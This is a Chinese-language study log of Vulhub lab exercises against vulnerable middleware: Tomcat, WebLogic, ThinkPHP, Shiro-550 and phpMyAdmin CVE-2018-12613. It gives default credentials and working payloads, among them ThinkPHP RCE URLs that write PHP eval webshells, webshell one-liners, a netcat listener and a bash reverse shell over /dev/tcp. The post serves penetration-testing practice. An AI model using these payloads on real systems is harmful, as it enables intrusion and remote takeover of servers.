跳到主要内容

第 9 周

· 阅读需 4 分钟
Hsieh
Hsieh
提示

基于 Vulhub 漏洞环境平台,六大经典中间件漏洞实战演练。涵盖 Docker 配置、Tomcat 弱口令与 Ghostcat、WebLogic 弱口令与 RCE、ThinkPHP 2.x/3.x/5.x RCE、Shiro-550 反序列化、phpMyAdmin 文件包含反弹 Shell 等完整攻击链。

Vulhub

  1. docker compose up -d 启动某漏洞环境报错

  1. 对 docker 永久调整 ulimit -n 对应的文件描述符数量
{
"default-ulimits": {
"nofile": {
"Name": "nofile",
"Soft": 65535,
"Hard": 65535
}
}
}
  1. 使用 docker compose down -v 删除容器, 重新创建

Tomcat

弱口令

  • 登录 http://your-ip:8080/manager/html 上传war包, 用户名密码为 tomcat/tomcat

Ghostcat 漏洞

  1. 下载 python 测试脚本
  2. python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.30.129 -p 8009 -f WEB-INF/web.xml 读取到敏感文件

weblogic

弱口令

  1. 访问http://your-ip:7001/console进入WebLogic管理控制台
  2. 默认用户名 weblogic 和密码 Oracle@123

  1. webshell 打成 war
cd myapp/
jar -cvf myapp *
  1. 部署到 weblogic, 后续步骤全部默认
  2. 成功连接上传的 webshell, weblogic 的默认 http 端口是 7001, https 端口是 7002

RCE漏洞

ThinkPHP

2.0/3.0 版本

1. 测试 rce 漏洞

  • 输入http://your-ip:8080/index.php?s=/a/b/c/${@phpinfo()} 查看是否正常输出

2. 获取 shell

  • 构造payload http://your-ip:8080/index.php?s=/a/b/name/${@eval($_GET[x])}&x=file_put_contents('1.php','<?php @eval($_POST['cmd']);?>');echo 'Success';die();
备注
  1. ;一个都不能少, 必须是完整php语句, 否则会语法错误
  2. http 协议参数是纯文本, 无关 x 参数有几个php语句

3. 连接 shell

  • 由于web用户对所有目录有读权限, web目录以外只能以只读形式查看敏感内容

4. 原理

  • PHP < 5.5 中 preg_replace 函数支持 /e 修饰符。当正则匹配成功时, 会将替换字符串作为 PHP 代码进行执行
  • 解析路径参数时, 用到下面语句
// $paths 是用户传入的 PATHINFO
$res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', $paths);

5.0 版本

1. 测试 rce 漏洞

  • 构造 http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

2. 写入 shell

  • WEB 根目录通常在 /var/www/public
  • 构造 http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['cmd']);?>' > /var/www/public/1.php

3. 连接 shell

  • 使用特斯拉成功连接

4. 原理

  • ThinkPHP 5 标准路由格式为 http://target/index.php?s=模块/控制器/操作 (Module/Controller/Action)
  • 未验证 Controller 是哪个类
  • \think\app 类的方法 invokefunction() 底层调用了反射

Shiro

Shiro-550 (CVE-2016-4437)

1. 指纹探测

  • cookie 中带有 rememberMe=deleteMe

2. ShiroAttack2

  • 工具爆破出 AES 密钥
  • 使用可用的利用链如 CommonsCollections
  • 反序列化用户对象 -> AES 加密 -> Base64编码

3. 漏洞利用

  • 注入内存马

  • 使用蚁剑连接

phpMyAdmin

CVE-2018-12613

1. 文件包含漏洞

2. 获取 shell

  • 日志路径修改到 Web 目录, 被 OS 目标目录的权限拒绝, 失败
SET GLOBAL general_log_file='/var/www/html/1.php';
  • 利用 POST 请求写入 shell, 连接时无 token 无法通过框架的 csrf 检查, 失败
SELECT '<?php @eval($_POST['cmd']);?>';
  • 利用 GET 请求上传到会话文件, 反弹 shell
SELECT '<?php system($_GET["c"]);?>';
  • 开启接收反弹 shell
nc -lvnp 4444
  • 构造下面的访问路径, 通过 base64 对特殊符号编码后请求 http://192.168.30.129:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_当前sessionID&c=bash -c "bash -i >& /dev/tcp/接收shell的ip地址/端口号 0>&1"

  • 成功拿到 shell